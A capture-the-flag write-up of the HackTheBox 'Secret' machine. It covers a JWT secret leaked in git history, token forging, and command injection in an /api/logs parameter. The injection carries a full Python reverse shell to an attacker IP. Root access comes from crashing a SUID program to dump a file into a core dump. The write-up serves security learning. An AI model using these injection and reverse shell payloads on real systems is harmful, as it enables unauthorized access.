Secret Writeup (Using Snyk !)

Secret Writeup (Using Snyk !)

User Flag

Lets first download the website’s source code with the Dowload source code button on the home page of the website.

In routes/private.js, we get the admin username :

router.get('/priv', verifytoken, (req, res) => {
	// res.send(req.user)

	const userinfo = { name: req.user }

	const name = userinfo.name.name;

	if (name == 'theadmin'){
		res.json({
			creds:{
				role:"admin",
		   		username:"theadmin",
		   		desc : "welcome back admin,"
			}
		})
	}
routes/private.js

Further in the same file, we have what looks like a RCE :

router.get('/logs', verifytoken, (req, res) => {
	const file = req.query.file;
	const userinfo = { name: req.user }
	const name = userinfo.name.name;

	if (name == 'theadmin'){
		const getLogs = `git log --oneline ${file}`;
		exec(getLogs, (err , output) =>{
			if(err){
				res.status(500).send(err);
				return
			}
			res.json(output);
		})
	}
routes/private.js

By changing the value of the file argument, we might be able to execute code on the server. To use this feature, we need to get admin access.

In the routes/auth.js file, we see how the JWT is made :

// create jwt
const token = jwt.sign({ _id: user.id, name: user.name , email: user.email}, process.env.TOKEN_SECRET )
res.header('auth-token', token).send(token);
routes/auth.js

Finally, in the .env file, we see the value of the DB_CONNECT and the TOKEN_SECRET environment variables.

Since this is a code review box, I thought it would be the perfect occasion to test something that I wanted to test for a while now : Snyk Code.

Snyk Code is a code review tool that automatically analyzes your source code and finds vulnerabilities (also it’s free 😉).

┌─[✗]─[h3dg3h0g@vmware-ParrotOS]─[~/Desktop/HackTheBox/Machines/EASY/Secret/source/local-web]
└──╼ $snyk code test

Testing /home/h3dg3h0g/Desktop/HackTheBox/Machines/EASY/Secret/source/local-web ...

✗ [Medium] Use of Password Hash With Insufficient Computational Effort
Path: public/assets/fontawesome/js/conflict-detection.js, line 521
Info: MD5 hash (used in rawMD5) is insecure. Consider changing it to a secure hashing algorithm (e.g. SHA256).

✗ [Medium] Use of Password Hash With Insufficient Computational Effort
Path: public/assets/fontawesome/js/conflict-detection.js, line 565
Info: MD5 hash (used in rawMD5) is insecure. Consider changing it to a secure hashing algorithm (e.g. SHA256).

✗ [Medium] Use of Password Hash With Insufficient Computational Effort
Path: public/assets/fontawesome/js/conflict-detection.js, line 562
Info: MD5 hash (used in hexMD5) is insecure. Consider changing it to a secure hashing algorithm (e.g. SHA256).

✗ [Medium] Use of Password Hash With Insufficient Computational Effort
Path: public/assets/fontawesome/js/conflict-detection.js, line 587
Info: MD5 hash (used in md5) is insecure. Consider changing it to a secure hashing algorithm (e.g. SHA256).

✗ [Medium] Use of Password Hash With Insufficient Computational Effort
Path: public/assets/fontawesome/js/conflict-detection.js, line 589
Info: MD5 hash (used in md5) is insecure. Consider changing it to a secure hashing algorithm (e.g. SHA256).

✗ [Medium] Use of Password Hash With Insufficient Computational Effort
Path: public/assets/fontawesome/js/conflict-detection.js, line 592
Info: MD5 hash (used in md5) is insecure. Consider changing it to a secure hashing algorithm (e.g. SHA256).

✗ [Medium] Allocation of Resources Without Limits or Throttling
Path: routes/private.js, line 32
Info: This endpoint handler performs a system command execution and does not use a rate-limiting mechanism. It may enable the attackers to perform Denial-of-service attacks. Consider using a rate-limiting middleware such as express-limit.

✗ [Medium] Allocation of Resources Without Limits or Throttling
Path: src/routes/web.js, line 5
Info: This endpoint handler performs a file system operation and does not use a rate-limiting mechanism. It may enable the attackers to perform Denial-of-service attacks. Consider using a rate-limiting middleware such as express-limit.

✗ [Medium] Allocation of Resources Without Limits or Throttling
Path: src/routes/web.js, line 10
Info: This endpoint handler performs a file system operation and does not use a rate-limiting mechanism. It may enable the attackers to perform Denial-of-service attacks. Consider using a rate-limiting middleware such as express-limit.

✗ [Medium] Information Exposure
Path: index.js, line 2
Info: Disable X-Powered-By header for your Express app (consider using Helmet middleware), because it exposes information about the used framework to potential attackers.

✗ [Medium] Open Redirect
Path: public/assets/plugins/simplelightbox/simple-lightbox.js, line 1084
Info: Unsanitized input from the document location flows into replace, where it is used as an URL to redirect the user. This may result in an Open Redirect vulnerability.

✗ [Medium] Open Redirect
Path: public/assets/plugins/simplelightbox/simple-lightbox.modules.js, line 1082
Info: Unsanitized input from the document location flows into replace, where it is used as an URL to redirect the user. This may result in an Open Redirect vulnerability.

✗ [Medium] Information Exposure
Path: routes/private.js, line 41
Info: An error object flows to send and is leaked to the attacker. This may disclose important information about the application to an attacker.

✗ [Medium] Cross-Site Request Forgery (CSRF)
Path: index.js, line 2
Info: Consider using csurf middleware for your Express app to protect against CSRF attacks.

✗ [High] Regular Expression Denial of Service (ReDoS)
Path: public/assets/fontawesome/js/fontawesome.js, line 1376
Info: Unsanitized user input from an exception flows into RegExp, where it is used to build a regular expression. This may result in a Regular expression Denial of Service attack (reDOS).

✗ [High] Regular Expression Denial of Service (ReDoS)
Path: public/assets/fontawesome/js/fontawesome.js, line 1380
Info: Unsanitized user input from an exception flows into match, where it is used to build a regular expression. This may result in a Regular expression Denial of Service attack (reDOS).

✗ [High] Cross-site Scripting (XSS)
Path: routes/auth.js, line 63
Info: Unsanitized input from the HTTP request body flows into send, where it is used to render an HTML page returned to the user. This may result in a Cross-Site Scripting attack (XSS).

✗ [High] Cross-site Scripting (XSS)
Path: public/assets/fontawesome/js/fontawesome.js, line 630
Info: Unsanitized input from an exception flows into innerHTML, where it is used to dynamically construct the HTML page on client side. This may result in a DOM Based Cross-Site Scripting attack (DOMXSS).

✗ [High] Cross-site Scripting (XSS)
Path: public/assets/fontawesome/js/fontawesome.js, line 1397
Info: Unsanitized input from an exception flows into innerHTML, where it is used to dynamically construct the HTML page on client side. This may result in a DOM Based Cross-Site Scripting attack (DOMXSS).

✗ [High] Cross-site Scripting (XSS)
Path: public/assets/fontawesome/js/fontawesome.js, line 2190
Info: Unsanitized input from an exception flows into innerHTML, where it is used to dynamically construct the HTML page on client side. This may result in a DOM Based Cross-Site Scripting attack (DOMXSS).

✗ [High] Command Injection
Path: routes/private.js, line 39
Info: Unsanitized input from an HTTP parameter flows into exec, where it is used to build a shell command. This may result in a Command Injection vulnerability.


✔ Test completed

Organization:      undefined
Test type:         Static code analysis
Project path:      /home/h3dg3h0g/Desktop/HackTheBox/Machines/EASY/Secret/source/local-web

21 Code issues found
7 [High]  14 [Medium]
Snyk Code output

While, in the context of HTB, Snyk didn’t find any new information that would help us to get the user flag (I believe the RCE is the only useful thing here), in the context of a pentest, this information would’ve saved me a lot of time. Particularly with the lower hanging fruits like XSS that can sometimes take a lot of precious time to test. Next time I have a whitebox pentest, I’ll definitely use Snyk.

With that said, I find odd that the RCE vulnerability is only classified as High and not as Critical, but, of course, Snyk can’t understand the context of the application (attack complexity, privilege required, etc.).

With that done, time to find a way to get admin access. I started by trying to create a user with

POST /api/user/register HTTP/1.1
Host: 10.129.167.28
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
If-None-Match: W/"50f0-RKvUrC7mXaVbiUKK+AbBOImlNFI"
Connection: close
Content-Type: application/json
Content-Length: 85

  {
		"name": "username",
		"email": "email@email.com",
		"password": "password"
  }
Register request

I then logged in using

POST /api/user/login HTTP/1.1
Host: 10.129.167.28
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
If-None-Match: W/"50f0-RKvUrC7mXaVbiUKK+AbBOImlNFI"
Connection: close
Content-Type: application/json
Content-Length: 64

  {
		"email": "email@email.com",
		"password": "password"
  }
Login request

Which returned

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Wed, 29 Dec 2021 12:38:38 GMT
Content-Type: text/html; charset=utf-8
Connection: close
X-Powered-By: Express
auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWNjNTY5YmRmNGYyMjA0N2FhZWQzNjUiLCJuYW1lIjoidXNlcm5hbWUiLCJlbWFpbCI6ImVtYWlsQGVtYWlsLmNvbSIsImlhdCI6MTY0MDc4MTUxOH0.w3dpvzlGWwDtFD-AJSJMsUKUFzQMwx3O5FsEIek8Oc4
ETag: W/"d0-wguxs5KKayL+cqmK7+RwflPDBTU"
Content-Length: 208

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWNjNTY5YmRmNGYyMjA0N2FhZWQzNjUiLCJuYW1lIjoidXNlcm5hbWUiLCJlbWFpbCI6ImVtYWlsQGVtYWlsLmNvbSIsImlhdCI6MTY0MDc4MTUxOH0.w3dpvzlGWwDtFD-AJSJMsUKUFzQMwx3O5FsEIek8Oc4
Login answer

After receiving the newly generated JWT, I verified it (using cyberchef) to see if the secret used really was “secret”, and it wasn’t.

I then tried to brute force it (using jwt-secret) but couldn’t get any result.

┌─[✗]─[h3dg3h0g@vmware-ParrotOS]─[~/Desktop/HackTheBox/Machines/EASY/Secret/source/local-web]
└──╼ $jwt-secret --file /usr/share/wordlists/rockyou.txt eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWNjNTY5YmRmNGYyMjA0N2FhZWQzNjUiLCJuYW1lIjoidXNlcm5hbWUiLCJlbWFpbCI6ImVtYWlsQGVtYWlsLmNvbSIsImlhdCI6MTY0MDc4MTUxOH0.w3dpvzlGWwDtFD-AJSJMsUKUFzQMwx3O5FsEIek8Oc4


    no secret found
JWT secret brute force

After those 2 failed attempts, I decided to take a look at the .git history to see if the secret had leaked in the commits.

┌─[h3dg3h0g@vmware-ParrotOS]─[~/Desktop/HackTheBox/Machines/EASY/Secret/source/local-web]
└──╼ $git log --pretty=oneline
e297a2797a5f62b6011654cf6fb6ccb6712d2d5b (HEAD -> master) now we can view logs from server 😃
67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78 removed .env for security reasons
de0a46b5107a2f4d26e348303e76d85ae4870934 added /downloads
4e5547295cfe456d8ca7005cb823e1101fd1f9cb removed swap
3a367e735ee76569664bf7754eaaade7c735d702 added downloads
55fe756a29268f9b4e786ae468952ca4a8df1bd8 first commit
Git history

And it looks like the devs did leak some info in a commit. Let’s take a look at it.

┌─[h3dg3h0g@vmware-ParrotOS]─[~/Desktop/HackTheBox/Machines/EASY/Secret/source/local-web]
└──╼ $git show 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
commit 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
Author: dasithsv <dasithsv@gmail.com>
Date:   Fri Sep 3 11:30:17 2021 +0530

    removed .env for security reasons

diff --git a/.env b/.env
index fb6f587..31db370 100644
--- a/.env
+++ b/.env
@@ -1,2 +1,2 @@
 DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
-TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
+TOKEN_SECRET = secret
TOKEN_SECRET leaked in the git history

Let’s verify (using cyberchef) if it is indeed the secret used to sign the JWTs.

And it is !

We can now craft a new JWT with the username set as theadmin to access the admin features.

Using cyberchef, we can generate a new JWT and access the /api/priv page.

GET /api/priv HTTP/1.1
Host: 10.129.167.28:3000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Connection: close
auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWNjNTY5YmRmNGYyMjA0N2FhZWQzNjUiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImVtYWlsQGVtYWlsLmNvbSIsImlhdCI6MTY0MDc4MTUxOH0.84yf8EtdRc_ab7EMBTw1PM0er_-MpQ5Ww9QaDC4cjtw
Request using the crafted JWT
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 76
ETag: W/"4c-bXqVw5XMe5cDkw3W1LdgPWPYQt0"
Date: Wed, 29 Dec 2021 14:10:15 GMT
Connection: close

{"creds":{"role":"admin","username":"theadmin","desc":"welcome back admin"}}
Answer to the crafted JWT

Finally, let’s exploit the RCE that we spotted earlier.

Using id, we can see who runs the webserver.

GET /api/logs?file=./+%26%26+id HTTP/1.1
Host: 10.129.167.28:3000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Connection: close
auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWNjNTY5YmRmNGYyMjA0N2FhZWQzNjUiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImVtYWlsQGVtYWlsLmNvbSIsImlhdCI6MTY0MDc4MTUxOH0.84yf8EtdRc_ab7EMBTw1PM0er_-MpQ5Ww9QaDC4cjtw
Content-Length: 0
RCE by adding && [command] to the file argument
uid=1000(dasith) gid=1000(dasith) groups=1000(dasith)
Answer to the id command

A lot of reverse shells I tried didn’t work, but when I tried with a python one it did. It looked like the user couldn’t execute certain commands...

GET /api/logs?file=./+%26%26+python3+-c+'import+socket,os,pty%3bs%3dsocket.socket(socket.AF_INET,socket.SOCK_STREAM)%3bs.connect(("10.10.14.161",4444))%3bos.dup2(s.fileno(),0)%3bos.dup2(s.fileno(),1)%3bos.dup2(s.fileno(),2)%3bpty.spawn("/bin/sh")' HTTP/1.1
Host: 10.129.167.28:3000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Connection: close
auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWNjNTY5YmRmNGYyMjA0N2FhZWQzNjUiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImVtYWlsQGVtYWlsLmNvbSIsImlhdCI6MTY0MDc4MTUxOH0.84yf8EtdRc_ab7EMBTw1PM0er_-MpQ5Ww9QaDC4cjtw
Content-Length: 0
Sending a python reverse shell

With metasploit’s /exploit/multi/handler, I was able to catch a reverse shell.

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.14.161:4444 
[*] Command shell session 1 opened (10.10.14.161:4444 -> 10.129.167.28:39610) at 2021-12-29 10:42:42 -0500


Shell Banner:
$
-----
          

$
Metasploit catches the reverse shell back

Root Flag

The privesc part was hard to find (at least for me). But, after running linpeas for the fifth time, something finally caught my attention :

dasith@secret:~$ ./linpeas.sh

[...]

═════════════════════════════════════════╣ Interesting Files ╠═════════════════════════════════════════
                                         ╚═══════════════════╝
╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid

[...]

-rwsr-xr-x 1 root root 18K Oct  7 10:03 /opt/count (Unknown SUID binary)

[...]
Program in /opt that we can run as root

The setuid permission means we can run whatever this is as root. Let’s take a closer look at this.

dasith@secret:/opt$ ll
total 56
drwxr-xr-x  2 root root  4096 Oct  7 10:06 ./
drwxr-xr-x 20 root root  4096 Oct  7 15:01 ../
-rw-r--r--  1 root root  3736 Oct  7 10:01 code.c
-rw-r--r--  1 root root 16384 Oct  7 10:01 .code.c.swp
-rwsr-xr-x  1 root root 17824 Oct  7 10:03 count*
-rw-r--r--  1 root root  4622 Oct  7 10:04 valgrind.log
/opt directory

After looking at the source code and executing the program, it looks like it opens a file and counts the number of characters in it.

I then looked at the valgrind man page, because I wasn’t familiar with this program, and it looks like some sort of debugger for executables. Maybe we can use it to access what the count program loads in memory when it reads a file. That way, we might be able to read some files like /root/.ssh/id_rsa or simply /root/root.txt.

dasith@secret:/opt$ valgrind ./count
==125171== 
==125171== Warning: Can't execute setuid/setgid/setcap executable: ./count
==125171== Possible workaround: remove --trace-children=yes, if in effect
==125171== 
valgrind: ./count: Permission denied
dasith@secret:/opt$
Attempting to debug the count program using valgrind

It looks like valgrind can’t debug executables with setuid.

After looking around the internet for an answer, I stumbled upon this stackoverflow post that basically described how hard it is to get valgrind to run a setuid executable. After a lot of tries, it really looked like valgrind just would not run our program. Time to try something else.

I decided to take a look at the content of the /opt/valgrind.log.

dasith@secret:/opt$ cat valgrind.log
==2635== Memcheck, a memory error detector
==2635== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al.
==2635== Using Valgrind-3.15.0 and LibVEX; rerun with -h for copyright info
==2635== Command: ./count
==2635== 
Enter source file/directory name: 
Total characters = 224
Total words      = 31
Total lines      = 10
Save results a file? [y/N]: ==2635== 
==2635== HEAP SUMMARY:
==2635==     in use at exit: 728 bytes in 2 blocks
==2635==   total heap usage: 5 allocs, 3 frees, 9,944 bytes allocated
==2635== 
==2635== 256 bytes in 1 blocks are definitely lost in loss record 1 of 2
==2635==    at 0x483B7F3: malloc (in /usr/lib/x86_64-linux-gnu/valgrind/vgpreload_memcheck-amd64-linux.so)
==2635==    by 0x109918: filecount (in /opt/count)
==2635==    by 0x1099FD: main (in /opt/count)
==2635== 
==2635== 472 bytes in 1 blocks are still reachable in loss record 2 of 2
==2635==    at 0x483B7F3: malloc (in /usr/lib/x86_64-linux-gnu/valgrind/vgpreload_memcheck-amd64-linux.so)
==2635==    by 0x48D8AAD: __fopen_internal (iofopen.c:65)
==2635==    by 0x48D8AAD: fopen@@GLIBC_2.2.5 (iofopen.c:86)
==2635==    by 0x109879: filecount (in /opt/count)
==2635==    by 0x1099FD: main (in /opt/count)
==2635== 
==2635== LEAK SUMMARY:
==2635==    definitely lost: 256 bytes in 1 blocks
==2635==    indirectly lost: 0 bytes in 0 blocks
==2635==      possibly lost: 0 bytes in 0 blocks
==2635==    still reachable: 472 bytes in 1 blocks
==2635==         suppressed: 0 bytes in 0 blocks
==2635== 
==2635== For lists of detected and suppressed errors, rerun with: -s
==2635== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)
/opt/valgrind.log

It looks like valgrind is already running every time we execute the count program !(?)

Now we need to find a way to dump it’s memory.

After reading the code in /opt/count.c, I noticed this.

int main()
{
    char path[100];
    int res;
    struct stat path_s;
    char summary[4096];

    printf("Enter source file/directory name: ");
    scanf("%99s", path);
    getchar();
    stat(path, &path_s);
    if(S_ISDIR(path_s.st_mode))
        dircount(path, summary);
    else
        filecount(path, summary);

    // drop privs to limit file write
    setuid(getuid());
    // Enable coredump generation
    prctl(PR_SET_DUMPABLE, 1);
    printf("Save results a file? [y/N]: ");
    res = getchar();
    if (res == 121 || res == 89) {
        printf("Path: ");
        scanf("%99s", path);
        FILE *fp = fopen(path, "a");
        if (fp != NULL) {
            fputs(summary, fp);
            fclose(fp);
        } else {
            printf("Could not open %s for writing\n", path);
        }
    }

    return 0;
}
The program has core dump generation enabled

After looking at the prctl man page, it looks like this feature dumps the program’s memory.

PR_SET_DUMPABLE (since Linux 2.3.20) Set the state of the "dumpable" attribute, which determines whether core dumps are produced for the calling process upon delivery of a signal whose default behavior is to produce a core dump. In kernels up to and including 2.6.12, arg2 must be either 0 (SUID_DUMP_DISABLE, process is not dumpable) or 1 (SUID_DUMP_USER, process is dumpable).

Now we might be onto something. We just need to trigger this dump, probably when the program asks if we want to save the result, while it still has the file in memory.

After a small bit of research, I found that core dumps are generated when a program crashes.

Core dumps are triggered by the kernel in response to program crashes

I then started a second terminal to kill the process and hopefully trigger a core dump.

dasith@secret:/opt$ ./count     
Enter source file/directory name: /root/root.txt

Total characters = 33
Total words      = 2
Total lines      = 2
Save results a file? [y/N]:
Terminal 1 : Running the program
dasith@secret:/opt$ ./count     
./count
Enter source file/directory name: /root/root.txt
/root/root.txt

Total characters = 33
Total words      = 2
Total lines      = 2
Save results a file? [y/N]: Segmentation fault (core dumped)
dasith@secret:/opt$
Terminal 1 : The process has been killed, hopefully triggering a core dump
dasith@secret:/opt$ ps -A

[...]

	1396 ?        00:00:00 python3
  1397 pts/1    00:00:00 sh
  1398 pts/1    00:00:00 bash
  1407 pts/0    00:00:00 count
  1409 ?        00:00:00 kworker/u2:0-events_power_efficient
  1411 pts/1    00:00:00 ps
Terminal 2 : Listing the running processes
dasith@secret:/opt$ kill -11 1407
Terminal 2 : Killing the process

Now, the core dump should be in /var/lib/systemd/coredump. Aaanndd it’s empty.

Luckily I found this stackoverflow post that says that sometimes, core dumps end up in /var/crash instead, and there was in fact a dump there !

dasith@secret:/var/crash$ ls
_opt_count.1000.crash
Content of the /var/crash directory

Finally, to read the .crash file, we can use apport-unpack.

dasith@secret:/var/crash$ apport-unpack _opt_count.1000.crash ~/count

And using a skill that I developed after years of CTF

dasith@secret:~/count$ strings * | grep -E '[a-z0-9]{32}'
**********************